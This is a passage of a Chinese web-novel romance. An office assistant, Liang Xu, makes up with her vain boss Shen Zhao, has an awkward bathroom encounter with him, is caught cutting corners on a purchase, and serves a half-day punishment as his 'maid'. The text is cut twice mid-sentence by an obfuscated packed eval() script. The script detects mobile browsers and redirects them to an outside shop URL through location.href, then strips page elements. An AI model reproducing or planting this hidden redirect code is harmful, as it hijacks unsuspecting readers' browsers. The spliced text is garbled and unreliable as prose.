沈钊感到了她的抵触情绪,自己系上了扣子,一言不发地出了门。 梁絮站在窗前看着他的车开走了,感到了反击的快乐的同时,又隐约有些后悔。 说好的抱紧他的大腿不动摇呢?跟老板闹别扭,谁给她的底气? 就因为沈钊对属下好,她就想在他面前争取公平——梁絮觉得自己最近真是飘了,她连生存都成问题,根本没有任性的资格。 她想着自己一穷二白的人生,为了生计考虑,还是得收敛脾气做小伏低。 梁絮去了公司,坐在办公室里,感觉今天气氛不对。 徐莉莉一见她来,就把抹布扔在她桌上,说:“今天该你值日了。” 梁絮拿抹布到处擦了一通,然后换了水。刘和平觉得让她一个弱女子扛水桶太辛苦了,站起来说:“我来吧。” 梁絮脱下高跟鞋,说:“不用,又没有多沉。” 她扛起水桶怼在饮水机上,然后坐了回去。徐莉莉又说:“玻璃也脏了,你要不要擦一擦?” 梁絮不耐烦了,怼道:“我又不是保洁,上班时间你们都坐着干活,我像个蜘蛛侠一样爬来爬去的,你觉得合适吗?” 徐莉莉冷淡地说:“那又怎么样,你不是没事干吗?” “谁说我没事干的?”梁絮有点生气了,“我早晨七点就去沈总那儿上班,你九点才打卡,咱们俩一样吗?” 徐莉莉笑了一下,说:“当然不一样,你敢顶撞沈总,别人哪有你胆子大呢。” 梁絮看出来了,她是沈傲天的毒唯粉儿,开始给她的偶像找场子了。 沈钊在他的办公室里专注工作,对外头的声音充耳不闻。办公室是玻璃墙、玻璃门,隔音效果没有那么好,沈钊应该已经听见了,但就是不管。 他故意的。 梁絮明白自己靠人家发工资,就得听人家的话。对沈钊她是可以无条件臣服的,但是徐莉莉这样狐假虎威的,真让人生气。 她憋着火拿起抹布,对着玻璃没头没脑地擦了一通,洗干净了抹布回到座位上。徐莉莉昨天求她帮忙的时候还挺亲切的,今天见她跟沈钊闹别扭,就暴露本性往死里挤兑她。 梁絮坐在电脑跟前,眼睛盯着屏幕,其实什么都没看进去,心里愤然感慨:“看我不得老板欢心就拼命挤兑我。成年人的世界,真的好现实。” 下午徐莉莉又折腾她去买了一趟星巴克,顺便逼着她把办公室的拖把和水桶也换了新的。 梁絮被她怼了一天,整个人都麻木了。她发现徐莉莉特别小人心态,自己在她面前表现得越生气,她越来劲儿。 刘和平躲在电脑后面,在两个女人的炮火之间瑟瑟发抖,同情地看着梁絮,但就是不敢帮她说话。 梁絮能理解他,反正他也帮不上忙。自己任性犯的错误,还是得自己想办法解决。 说实话,梁絮的自尊虽然高,但是真的穷起来,放弃也是一瞬间的事。 当然这是针对非原则性不涉及道德问题的小事,要她去讨好徐莉莉,那死也不可能。但如果沈傲天能接受,她现在就一个百米冲刺滑跪着向他谢罪。 梁絮做了一中午的心理建设,决定找机会跟沈钊和好,好让自己的日子好过一点。 她在洗手间准备了关于向领导道歉的十来种方法,对着镜子露出微笑,说:“沈总,之前的事,我向您道歉……” 她看着镜子里的自己,感觉太卑微了,他反而不会接受。 梁絮不爽地想,自己这辈子还没跟几个人道过歉,他还要挑肥拣瘦,真是太讨厌了。 她深吸了一口气,决定不管了,临场发挥,都过了一天多了,说不定他已经心情好不计较了呢。 中午在自助食堂遇见的时候,梁絮眼看着沈钊朝自己这边走来。她提起精气神对他露出了一个自以为十分标准的微笑,洋溢着友好的气息。 然而沈钊看到她的瞬间,冷淡地扭过头,转身去另外一边了。 尤其是他今天还穿着着件豹纹衬衫,骚气的同时显得格外高冷,让梁絮觉得十分陌生。 梁絮努力酝酿出来的笑容憋在了三分之二处,好像喷嚏打了一半,不上不下的特别难受。她忽然就体会到了被皇帝打入冷宫的女人的感觉。 像游魂似的被怼了一整天之后,终于熬到了下班。 梁絮在地铁里研究了一会儿系统,发现掉好感不扣生命值,以至于她的系统里堆积着好几条未读通知,沈钊好感减一,沈钊好感减二,沈钊好感减三,对她来说都没有实际性的威胁。 不过要是再这样下去的话,她就要被炒了。梁絮没精打采地回了家,白小飞带着他的崽子来门口热情地迎接了她。 白小飞兴奋地说:“你猜今天怎么样了?” 梁絮脱下鞋来,随口说:“孩子会说话了?会背乘法表了?还是会做微积分了?” 白小飞笑道:“不是,它看我找拖鞋,给我拱过来了。” 梁絮有点诧异,低头看小灰灰,说:“不是吧,你才出壳一天,就会给你爸拿拖鞋了?” 灰崽:“叽。” 梁絮摸了摸它的背,夸道:“真乖,将来一定是个大孝子。” 她说着扶着酸疼的腰活动了一下,觉得肯定是白天擦玻璃的时候抻着了。白小飞见她状态不好,说:“你怎么啦?” 梁絮道:“没事,就是有点累。” 白小飞道:“能跟我说说吗?” 梁絮不想让他担心自己,笑了笑说:“没事,我自己歇会儿就行了。” 白小飞担忧地看着她,看着房门关上了,低头抱起灰崽,轻声说:“你妈工作很辛苦,咱们要体谅她。” 灰崽:“叽。” 梁絮回到屋里,发现之前从网上买的运动装备寄到了,盒子里还放着发/票,总共花了三千多块钱。梁絮手里攥着一大把发/票,感到了前所未有的危机感。远的不说,再这么冷战下去,这些发/票就没人报销了。 梁絮拿着运动手环出来,见白小飞正在厨房做饭,灰崽跟着他打转。 白小飞打算做蛋炒饭,从冰箱里拿出两个鸡蛋,下意识看了灰崽一眼,又把蛋默默地放了回去。梁絮忍不住笑了,说:“它不会计较这么多的,又不是一个品种。” 白小飞一副怕吓着孩子的模样,说:“算了吧,在鸟类面前吃鸡蛋,太残忍了。” 梁絮把盒子递给他,说:“给你的礼物。” 白小飞十分意外,接过去打开了,见是个深蓝色的运动手环,顿时露出了笑容。 梁絮道:“喜欢吗?” 白小飞说:“太喜欢了,我正好需要这个呢。” 他说着把手环戴上了,伸出手腕给灰崽看,说:“好看吗?” 灰崽:“叽。” 白小飞无师自通鸟语十级,翻译道:“它说好看。” 盒子里还有张贺卡,上面写着:“送给我的好战友小白同志,愿他拥有强壮的体魄,跟我一起为了事业而奋斗百年!” 白小飞看着贺卡上的文字,露出了难以言说的表情,仿佛有点羞涩,又十分开心。他踌躇满志地说:“好,锻炼身体,争取陪你一直奋斗下去!” 梁絮便笑了,心情也好了起来。白小飞用火腿和玉米粒代替鸡蛋做了炒饭。吃完了饭,白小飞带着灰崽在客厅里走来走去,不时抬手看计步器的步数,显然挺喜欢梁絮送的这个礼物。 她觉得一大一小俩人都挺可爱的,掏出手机给他们录了一段视频。 灰崽跟了白小飞一会儿,摇摇摆摆地向梁絮走过来,好奇地看着她的手机。 梁絮揉了揉它的脑袋,说:“跟你爸好好锻炼身体,认真读书,将来为社会作贡献!” 灰崽:“叽。” 梁絮跟灰崽玩了一会儿,感到了亲情的召唤,觉得自己是个成熟的社会人了,要养家糊口,凡事不能太任性。 她去阳台上把昨天做好的内裤收起来,拿熨斗高温熨烫定型。最后拿袋子包装好了,看起来跟外头卖的商品一样。 她把内裤装在袋子里,打算拿这些当做礼物,拿出百分百的诚意,明天滑跪去向大佬道歉。 为了表现自己虔诚的悔意,次日六点半,梁絮就赶到了沈傲天的住处。 家政见了她,说:“今天来的真早啊。沈总在屋里呢,进去吧。” 梁絮提着一袋内裤进屋,门半掩着,她推门进去,想给他放进床头柜里。沈钊低着头从卫生间里出来,他刚洗完澡,身上散发着热乎乎的水汽,双手扯着一块白浴巾,正准备把自己包起来。 梁絮听见声音回过头来,沈钊的浴巾还没有挡住关键部位。俩人面面相觑,因为过于惊诧都僵住了。两秒钟之后,梁絮原地放声尖叫,手里捧着的内裤撒了一地。 沈钊也吓了一大跳,连忙转身拿浴巾把自己包紧了。他一头扎进了卫生间,憋屈地说:“你怎么来的这么早?” 梁絮脑内还在回放刚才的情形,双手捂着几乎被刺瞎的双眼,整个人都无法镇定下来。沈钊感觉她是不会回答自己了,说:“你先出去,我换好了衣服叫你。” 梁絮逃命似地出了他的卧室,听见身后喀嚓一声响,沈钊从屋里把门锁上了——显然他也被她吓着了。 梁絮坐在客厅里,想起刚才的情景,脸止不住发烫。 沈钊的身材是真的好,腰细腿长,胸肌结实、腹肌分明,还有人鱼线……再往下不能想了,但是硬件条件真的不错,确实表里如一挺男人的。 她想起了他微博上那些花痴粉的留言,说他身材这么赞,脱了一定好看到爆。以前她还不以为然,如今亲眼见识过了他的胴体,确实满脑子都是勾魂夺魄四个字,真是要了亲命了。 梁絮的心咚咚直跳,魂不守舍了片刻,忽然想起自己这么早过来,本来是要道歉的,没想到又得罪他了。她看到了他的神仙肉/体,玷污了他的清白,不知道他会不会恼羞成怒地把自己开了。 梁絮好不容易找到这么个好工作,还没拿到头一个月的工资,就接二连三地生出了强烈的危机感。 沈钊还没出来,梁絮催动大脑拼命寻思对策,想度过这次危机。她忽然想起了任盈盈假扮老妇跟着令狐冲结果被手下一帮小弟发现的情景,当时那群人怎么解决的来着……哦对了,当场自残双目。 ……一群狠人。 梁絮伸出两个手指头在面前晃了晃,感觉这个明媚的世界太宝贵了,自残双目她是绝对做不到的,还是等着被开算了。 她局促不安地等了一会儿,沈钊出来了。她立刻九十度鞠躬,说:“对不起沈总,我什么都没看到!” 沈钊虽然傲娇,所幸没有任大小姐的烈性。他点了点头,自欺欺人地说:“行吧我相信你。” 他一脸心累地说:“去把地上那些内 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14309960|152335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 裤收拾一下,你又给我买新的了?” 梁絮发现他不怎么计较裸/体被看到的事,松了口气。想来像他这么自恋的人,对自己的身材肯定是很自豪的,就算被看到了也就当展示自己了。 梁絮转移话题地说:“内衣是我专门给您准备的,这回保证质量过关。” 沈钊哦了一声,说:“什么牌的?” 梁絮说:“飞絮。” 沈钊怔了一下,忽然笑了,说:“你自己的品牌啊?” 梁絮怕他不稀罕自己这种小作坊的三无产品,还是有点紧张的。沈钊仿佛要捕捉无形的触感似的,感受了片刻说:“我已经穿上了,挺好的。” 梁絮进屋给他收拾东西。沈钊见她穿着运动服来的,靠在墙边上说:“今天都给我安排好了?要跑步?” 梁絮本来就是打算向大佬滑跪赔罪的,他说什么就是什么。她顺从地说:“跑步也行,做瑜伽也行,都听您的。” 沈钊沉吟了一下,忽然缓过神儿来了。他本来还在跟梁絮冷战,突然间被她看到了自己的胴体,吓得把这茬都给忘了。 他沉默地看着梁絮,一副等着她说点什么的模样。 梁絮捕捉到了他的意思,拿出了女性温柔似水的优势,甜甜地笑了一下,说:“之前的事情,是我错了。您教训的对,我已经在反省了。” 这么好看的一个姑娘乖乖地道歉,任何一个人,只要不是铁石心肠,肯定都能原谅她的。 沈钊似乎有点不好意思了,嗯了一声,觉得她的态度还可以,但还不能就这么放过她。 他说:“诚意呢?” 梁絮说:“这些内裤,就是我的诚意。” 沈钊觉得这样的诚意有点雷人,皱眉说:“这算什么诚意?要不是你给我买的内裤掉色,我至于穿你做的高定内裤吗?” 梁絮一想也是,之前也是自己在挖他的墙角,确实干了不少坑他的事。 她笑了一下,说:“那您想怎么样,只要能做的事,我都尽量去做。” 沈钊考虑了一下,傲娇地说:“我没想好,先记账吧。” 沈钊在冷战中赢了梁絮,心情好了很多。他去饭厅吃健身餐,梁絮在屋里坐着无聊,便去院子里等着。 他的庭院里种着些冬青,还有两棵大梧桐树。清晨的阳光透过树叶照下来,风里透着清新的气息。梁絮活动了一下手脚,下意识地来了个海底捞月的动作,打算跳几下抓钱舞,促进一下跟金钱的感情。 她张望了一下,见周围没人,于是躲在树后开始手舞足蹈。 她左手右手一个慢动作,右手左手慢动作重播,跳的浑然忘我。正在投入之际,忽然听见身后噗嗤一声笑。她打了个激灵,连忙回过头去。 沈钊站在树边看着她,仿佛看见什么稀罕景似的,一脸玩味的表情。梁絮气喘吁吁的,想到刚才的情形被他看见了,整个人都要被羞耻淹没了。 沈钊做了个请的动作,笑吟吟地说:“亲,继续你的表演。” 梁絮脸色通红,解释道:“不是表演,我就是要跑步了……先做个准备运动。” 沈钊毫不客气地说:“这种准备运动,是哪个沙雕体育老师教的?” 他学着她伸手抓钱的动作,右手伸出来一开一合,说:“这是什么意思?” 梁絮说:“锻炼手关节?” 沈钊又捻动食中二指,学着她做点钱状,说:“这个呢?” 梁絮诌不上来了。沈钊慢悠悠地说:“我念高中放假那会儿,帮英语培训机构发了几天传单。他们那儿的企业文化跟你这个很像,每天早晨都要跳这种舞。” 他说着伸手朝天,摆了个祈雨的姿势,甩头道:“为了父母,为了自己,为了美好的生活,我要努力挣钱!” 梁絮还在紧张,没想到他突然跟自己一起发癫了,忍不住扑哧笑了。 沈钊饶有兴味地说:“好久没跳了还有点想念,你们那儿什么动作?给我展示一下。” 梁絮有点不好意思,沈钊催促道:“没事,交流一下嘛。” 梁絮只好给他把剩下的部分跳完了,忐忑不安地看他。 沈钊像个选秀导师似地说:“哎你那个不行,完全放不开!跳这种舞就得有捞钱的感觉,徜徉钱海,如痴如醉……你比如说刚才那一招,手要用力摇起来,向金钱sayhello!” 他双手环抱于胸前,前后摇动,像颠大勺一样,仿佛无数金沙在他怀里翻起了浪花。梁絮看着他充满激情的动作,先是诧异,渐渐被他征服了,心悦诚服地说:“对对,这样就注入灵魂了!” 两个二百五连说带比划,正在投入之际,忽然听见院子外头咳嗽了一声。原来是李浩晨跑回来了,他站在门口看着他俩疯癫的模样,一脸错愕。 沈钊完全没觉得不好意思,反而笑道:“你来啦,要一起锻炼身体吗?” 李浩说:“干嘛?” 沈钊把他拽进来,带着他一起跳抓钱舞。李浩羞耻的不行,说:“你俩犯二别带我啊!” 沈钊说:“谁犯二了。你加入进来,咱们认真排个动作,周一带着员工一起跳。促进一下感情,还能培养集体意识。” 他一脸认真,不知道是真这么打算,还是故意吓唬李浩。他骗人的时候经常这样感情真挚地跟人说话,让人摸不清真假,特别适合商业谈判,唬人一唬一个准。 李浩被他吓得不轻,捂着脸说:“钊哥我错了,咱别闹了行吗。” 他说着奋力挣脱了沈钊的钳制,撒腿跑了。像他这么高冷的人,被沈钊逗得落荒而逃,那场面实在很有戏剧感。 一山还有一山高,梁絮虽然有点怕李浩,沈钊却能玩的他团团转,真有意思。 沈钊果然是在故意整他,笑了一声说:“不跳算了。” 他低头看了眼表,对梁絮说:“七点零五,还有时间,跟我慢跑一圈去吧。” 18. 第十八章 两人慢跑到了公园,坐在长凳上休息。 沈钊照旧去小超市买了瓶水,回来递给梁絮说:“跑了多少步?” 梁絮擦去头上的汗,抬手看计步器,说:“一万八千步。” 沈钊觉得不对劲,低头看自己的计步器,两万一千步。他说:“你的计步器是不是坏了?” 花五十块钱买的地摊货,坏了也很正常。梁絮怕露馅,捂住手环说:“没有,我可能……早晨洗脸的时候进水了,拿风筒吹吹就好了。” “这种东西不都是防水的嘛?”沈钊说,“你那是什么牌的,给我看看。” 梁絮把胳膊往身后藏,说:“就是个大众牌子……” 沈钊不能让她糊弄自己,抓小鸡仔似的一把攥住她手臂拽过去,用力晃了几下,手环上的数字根本没变。 他又晃了几下,计步器像刚反应过来似的,哗啦啦地吐出一堆数字。 沈钊皱眉道:“怎么回事,刚买的就这样?” 他对着光线看牌子,屏幕下方两个字,小来,比某知名品牌还多一横。 沈钊:“……” 他整个人都炸毛了,抓狂地说:“你从并夕夕上买的啊?我给你出钱,发/票八百块你就买这玩意儿糊弄我?” 梁絮整个人特别慌,首先是他离自己太近了,气场压制让她不知所措。更关键的是,自己挖他墙角的事马上就要败露了。 手环被他一通晃,开始出现乱码,生理期血压一起出现在屏幕上,她的心跳指数开始飙升,八十八,九十,一百零二。血压一百三,一百四,一百四十五…… 沈钊感觉她的脉搏是跳的挺快,怕出人命,总算放开了她。 他说:“你心动过速啊?” 梁絮心想:“没有……就是心虚,害怕……我说我有心脏病你就能放过我吗?” 沈钊看破了她的伎俩,冷酷无情地说:“装病没用,你给我解释一下,省下钱来干什么了?” 梁絮出了一头虚汗,总不能说给小白买礼物了。她眼睛转来转去,支支吾吾地说:“我那个……呃……” 沈钊淡定地说:“好好编,编不圆我就开了你。” 梁絮说:“我买衣服了,内衣,维密同款,难免贵一点。” 她作势要拉拉锁,女流氓似的说:“你要看吗?” 沈钊丝毫不为所动,冷漠道:“撒谎,原地开除。” 梁絮情急生智,说:“好好,我说实话……我买饲料了。” 沈钊:“……?” 他满脑袋问号,显然是懵了。梁絮觉得这个答案可行,于是说:“我养了只鸸鹋,长得特别快。我又不敢给它吃一般的鸡饲料,只能从宠物市场买,一包好几百。” 她说着打开手机给沈钊看她拍的视频,一只秃毛小鸟跟着白小飞的两条腿走来走去,啾啾直叫。 萌的力量是强大的。铁血硬汉如沈傲天,也被灰崽呆萌的模样征服了。他看了片刻,忍不住笑了,说:“还有人养这个的,有意思。” 梁絮见他信了,忽悠道:“钱都省下来买饲料了,还有药。前阵子它感冒了,动物看病可比人贵多了。我没办法,就只能手环少花点钱,先给它治病。咱们自己苦点没关系,但是不能苦了孩子啊。” 她说的声情并茂,都快把自己感动了,背景音乐再放一首二泉映月,简直完美。沈钊看了她一眼,说:“跟我卖惨?” 梁絮卑微地说:“不敢,就是生活艰难,实话实说。” 沈钊说:“那你挖墙脚也是重大错误。” 梁絮立刻诚恳认错,说:“对不起沈总,要不然我再给您做二十条内裤赔罪。” 沈钊:“……” 沈钊大方地说:“算了先记账吧。以后缺钱的话跟我说,写借条我批了以后去会计那儿领钱,免利息,年度上限五万,年底之前还清就行了。” 梁絮听见这话,犹如听到了天籁之音。在如今网贷横行条件苛刻的大环境下,还有老板这么大方,免息借钱给员工,就是亲哥也没有这么好了。 梁絮忽然一阵感动,有点热泪盈眶。她想起了小刘不遗余力夸他钊哥的情景,觉得自己也快要被沈钊的魅力征服,成为他的脑残粉了。 沈钊看着视频,捕捉到了另外一个重点,说:“这人是谁?” 梁絮迟疑了一下,照实说了:“我室友,也是我品牌的合作伙伴。” 沈钊哦了一声,看着小白的腿毛和裂纹的大拖鞋说:“还是个男的。” 梁絮不想被他误会自己是个随便的人,说:“他是我发小,人很靠得住的。” 沈钊笑了一下,说:“不用跟我解释,只要你觉得没问题就行了。” 风从两人之间吹过,老人推着婴儿车从旁边经过,也有小学生背着书包去上学,充满了生活气息。梁絮觉得这样跟他坐在一起,还挺惬意的。 沈钊抬起头看了会儿天,说:“你还在搞你那个品牌?” 梁絮说:“没有,我现在全部精力都放在咱们公司的事上。” 沈钊说:“别撒谎,我看见你在回响开网店了。” 梁絮没办法,只好承认了,说:“都是小白在管的。” 沈钊说:“小白是谁?” 梁絮道:“就是刚才视频里遛鸟的那个。” 沈钊哦了一声,说:“需要我帮忙吗?” 梁絮的耳朵竖起来了,觉得这是个发展的好机会。她试探地说:“您能帮我推广一下吗?给个推荐位置?” 回响跟很多电商的模式相似,都是用户好评率积累到一定程度,就能升级成为星级店铺,五个星级升级成为一颗钻石,满三钻的店铺就能获得优先推荐席位。 梁絮盘算过了,她的店铺要升到三钻,至少也得经营半年,这还得用上刷单等各种小手段。但是如果沈钊肯开个金手指,她的店铺就能直接上三钻,如同新手村的新人瞬间成为大佬,这简直是她做梦都不敢想的事。 沈钊看着她满脸兴奋的表情,慢悠悠地说:“当然,我帮你是有条件的。” 梁絮渐渐清醒过来了,天底下没有免费的午餐,沈钊肯给她这么大的好处,肯定是有所求的。 她想起了无数借职务之便潜规则的大爷大叔们,顿时感觉沈钊在她心中的美好形象轰然崩塌了。她迟疑了一下,说:“哦,那还是算了吧。” 沈钊看着她警惕的表情,哈哈地笑了,说:“你想什么呢?我是说,我可以看在你是我员工的份上给一些优惠条件,但是你必须先获得一定的成绩,要不然我硬把你挂在那里多尴尬啊?跟挂墙头似的。” 梁絮心动了,说:“那我要怎么做?” 沈钊说:“拼业绩吧。接下来有国庆,黑五,还有双十一,双十二。只要你能在元旦之前店铺销售额突破二十万元,我就给你店铺升到三钻,给你该项目的推荐位。” 梁絮激动的不行,恨不能立刻谢主隆恩,说:“谢谢沈总!以后您要是不嫌弃,我们服装的男装线终生免费为您提供衣服。” 沈钊说:“你们现在不是只有女装线吗?” 梁絮踌躇满志地说:“以后会有男装的!” 她犹豫了一下,又说:“沈总,您为什么愿意帮我?” 沈钊笑了笑,平和地说:“也没什么,我也是从一穷二白创业过来的,看到跟我差不多的人就想拉一把。前阵子我还参加了个天使投资人的项目,我看那些新人吹得天花乱坠的,还不如你靠谱呢。” 梁絮挺高兴,觉得一定是自己的勤劳朴实感动了沈钊,说:“是吗,您怎么看出来的?” 沈钊的天使人格保持不了三秒,腹黑本质又出来了。他嘲讽地说:“你内裤做的挺好的。以后就算服装赔了,还能做内衣保本。实在不行,做情趣内衣也是可以的。” 梁絮被他这样当面小觑,又不能怼回去,心想:“我……不能生气,我是文明人,不跟他一般计较。” 上午梁絮去了办公室,刘和平拿着笔记本过来问梁絮周六有没有事情。 梁絮从刚才就见他转来转去的挨个调查,不知道他要干什么,说:“没事,干嘛?” 刘和平说:“团队建设,沈总说最近来的新员工比较多,要带大家去近郊烧烤联络感情,激励一下斗志。去的每人交一百野餐费,包括路费、酒水、食材和器材租赁费……” 梁絮忽然就没兴趣了,一堆人乌乌泱泱的,谁也不认识谁,硬凑在一起也是尴尬,还不如在家睡大觉呢。 她说:“我突然想起来还有事,不去了。” 徐莉莉倒好像抓住了莫大的机会似的,积极地说:“给我登记上,我要去!” 刘和平逛了一圈,把名单汇总起来,打印出来拿去交给了沈钊。片刻沈钊打电话过来,说:“梁絮呢?” 梁絮听见被点名了,抬起头来。沈钊透过玻璃墙见她伸出了触角,直接对她招了招手,做了个来的口型,梁絮便起身过去了。 沈钊坐在办公桌后头看她,高冷地说:“团建你怎么不去?” 他坐在老板椅上的时候,显得格外有权威感,居然比平常还要帅一些。 梁絮看了他一眼,又没够似地再看一眼,心里感慨这个男人真是该死的好看。 他适当严肃的表情比在家里犯二的模样帅多了,刀削斧凿似的容貌特别有抖S鬼畜攻的感觉,要不然说权力是最好的春/药呢,霸道总裁就是怎么看都让人心动……呃等等他刚才说什么来着? 沈钊见她站在自己面前出了神,嘴角带着一丝微妙的笑容,不知道她在肖想什么,总之不会是好事。 他耐着性子又问了一遍:“团建为什么不去?脱离集体,搞特殊?” 梁絮这回听见了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14309961|152335||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 总不能说想在家睡大觉,迟疑了一下说:“不是搞特殊,我……我大姨妈来了。” 沈钊打量她说:“不能吧,你今早晨不是还跟我跑步来着吗?” 梁絮有点尴尬,沈钊看出她找借口来了,说:“不想去,偷懒?” 梁絮只好老实说:“没有,我就是跟人都不熟,去了觉得尴尬。” 沈钊说:“就是不熟才要去认识人啊。以后你还要跟我出席大场面的,各个都是不认识的大佬,社恐可还行?” 梁絮没把自己的职业规划的那么长远,就想跟着他捡点肉渣吃就行了。 她说:“您别开玩笑,那种大场面,我想都不敢想。” 沈钊眼里带着笑,说:“想又不要钱,怎么不能想。小没出息的。” 梁絮觉得他这话莫明有点宠溺的味道,自己好像挺被他器重的。这种感觉别说,还挺好的。 梁絮头脑还是清醒的,知道这是因为自己一直昧着良心拍他的马屁,迎合他异于常人的审美,导致他产生了自己跟他是一路人的错觉。他的这种错觉对自己升职加薪还是很有利的,她很聪明地保持了沉默。 沈钊说:“明天你也来,就这么说定了。” 梁絮只好答应了,她转身要出门,沈钊又说:“等等,你先别走。” 梁絮莫名其妙,回头看他,说:“还有什么吩咐?” 沈钊摸了摸下巴,说:“早晨说记账的那个惩罚,我想到了。你给我当半天女仆。” 梁絮啊了一声,没想到他还知道女仆play这种玩法,心想:“脑子里还有这种名词,你是资深宅男吗?” 梁絮还有点迟疑,沈钊却觉得自己提这种要求理所当然。他敲了敲桌子,说:“Maid,给我倒杯茶。” 梁絮没办法,只好去烧水,然后给他泡茶。沈钊说:“乌龙茶要悬壶高冲,把香味激出来,懂?” 梁絮还真不知道,觉得懂不懂无所谓。但沈钊要求了,她就照做。她站在窗前,阳光透过窗户,勾勒出窈窕的身影。沈钊欣赏着这个情景,觉得今天的心情会一直不错。 梁絮在沈钊的指使下,把地扫了一回,又把桌子仔仔细细地擦了一遍。沈钊躺在老板椅上,手指慢慢地划过办公桌,看了一眼指尖。 干干净净,没有一点灰尘。 梁絮毕恭毕敬地问:“沈总,您还满意吗?” 沈钊说:“叫主人。” 梁絮头上青筋暴露,勉强撑着露出一个笑容,说:“主人,您还满意吗?” 沈钊听她这么乖乖地叫自己,可怜又可爱,感觉像听天籁似的。他嘴角抿着一丝笑,傲慢的有点欠揍,虽然没答复,但看起来是很满意的。 梁絮在心里把他那张欠揍的脸横着扯过来,竖着拽过去,想象他被自己锤爆的模样,心态平和多了。 沈钊朝她招了招手,说:“给我捶捶背。” 梁絮觉得这就有点过了,好歹墙是玻璃的呢,让别人看见了怎么想。 她说:“我不。” 沈钊抬眼看她,梁絮只好软了口气,说:“人家手疼,累了。” 沈钊还挺吃这一套,顿时就不跟她小女子一般计较了。外头还有人看着,玩的太野了不好。沈钊这一通折腾下来,觉得神清气爽,他大手一挥,道:“行了,出去吧。” 梁絮如蒙大赦地出来,一脸不爽的表情。小刘在外头都看见了,笑道:“我看沈总想提拔你,这是要让你当二助的苗头,有什么不开心的?” 沈钊刚才也说要带她出席大场合,说不定以后真能实现。 梁絮抬头想了想,觉得小刘作为沈钊的首席秘书兼助理,工作勤勤恳恳,办事贴心周到,是挺当之无愧的。 论资历来说,二助应该首先考虑徐莉莉,而不是初来乍到的自己。梁絮平白无故受到大佬青睐,抢了人家眼睁睁盯着的位置,肯定要遭人恨的。 她心虚地瞥了徐莉莉一眼,对方果然一脸低气压地打着字,恨不能把自己当成按键生生摁死。虽然梁絮不乐意给沈钊当女仆,可有的是人想当呢。 梁絮觉得沈钊的人际关系中,仿佛对自己点了特别关注的按钮,不知道他为什么会降尊纡贵做出这种举动。 她知道自己的业务能力一般,偷摸挖墙脚还被他发现了,偶尔还会跟他顶嘴。唯一的优点就是认错特别快,头脑清醒正常的时候对他十分听话,这实在算不上什么卓越的优点。 她不知道自己身上哪一点吸引到了沈钊,转头看了一眼,他正在专注地工作。 她想起刚才他那些傲娇的小表情,不但不生气,还觉得他还挺可爱的。 梁絮有点迟疑,不知道该不该在心里,悄悄地回粉他一下。 要是他的粉丝们知道沈傲天单箭头关注了一个女人,那女人居然还迟疑着不回粉,梁絮妥妥地要被手撕成碎片了。 19. 第十九章 梁絮怀疑沈钊对自己超过了正常上级对下属的关心,思考良久,作弊似的打开系统,想查看沈钊对自己的好感值。 之前的好感都被她兑换成了生命值,系统没有历史记录。只有几条零星的成就提示,沈钊好感加二,沈钊好感加五的未读消息。 梁絮不太好判断他到底对自己是什么态度,她迟疑了一下,问系统道:“Siri老师,在吗?” 系统说:“在,不要叫我Siri,我不是你的Siri。” 梁絮说:“好的好的,抖S老师。我有点事情,想参考你的意见。” 系统高冷地说:“说。” 梁絮道:“你觉得……沈钊对我是什么想法?” 系统沉默了良久,梁絮以为它程序崩了,想退出去重启。系统开口道:“我只是个系统,他怎么想,我怎么会知道?” 梁絮觉得也是,换了个问法说:“已经兑换掉的好感值,还起作用吗?” 系统说:“好感值只是在系统内转化成生命值,对方对你的感觉并不会因此受到影响,而且会逐渐积累。我看他对你的态度很积极,你可以考虑跟他谈一段恋爱。” 梁絮愕然道:“你连这个都管?你不是监督我赚钱的吗?” 系统说:“我只是作为朋友给你个建议。如果你需要动力的话,我可以给你发布几个刷好感的任务。” 梁絮之前被前男友伤的太深,觉得男人都是大坑,短时间内不想再陷进去了。 她摇头道:“不用了,谢谢。” 梁絮关了系统,又考虑了片刻,觉得沈钊可能就是关怀下属,要不然那么多员工都是他的脑残粉呢,自己还是不要想太多的好。 梁絮决定把注意力转移到别的地方,她最近的事情太多了,要打理店铺冲三钻、要养灰崽,还要去诊所给沈傲天挂号……她忽然想起今天是星期五,她跟方晴约好复诊的时间到了。 下了班,梁絮去了晴安心理诊所,方晴已经在等她了。 梁絮进屋瘫在沙发上,把录音笔扔给她,说:“这是他做墨迹测验的回答。” 方晴把录音笔接到电脑上,备份内容,然后播放出来。 沈钊充满磁性的声音回荡在办公室里。 “像束腰。” “像皮草……挂在十字架上。” “像女人的生育系统,有卵巢、输卵管,和子宫。” “像巫婆。” …… 方晴听完了,拿着钢笔在档案上唰唰做记录,写诊断分析。梁絮坐着喝茶,不打扰她。她歇一会儿,抬头思考片刻,钢笔敲了本子几下。 梁絮道:“怎么样?他是不是病的不轻?” 方晴反过来问她:“先说你的主观感受,你觉得他怎么样?” 梁絮慎重地说:“其实除了衣品不好,外加有点自恋之外,我觉得他还是不错的。不过你有没有发现,他的答案当中充斥着女人的信息。” 方晴笑了,说:“你也注意到了,他本人怎么样?很关注两性关系吗?” 梁絮说:“这倒没有,他为人挺正经的,每天坚持锻炼,作息规律,不开黄腔,专心工作,简直好的过了头。” 方晴说:“没有女朋友?” 梁絮说:“没有,也没有男朋友。” 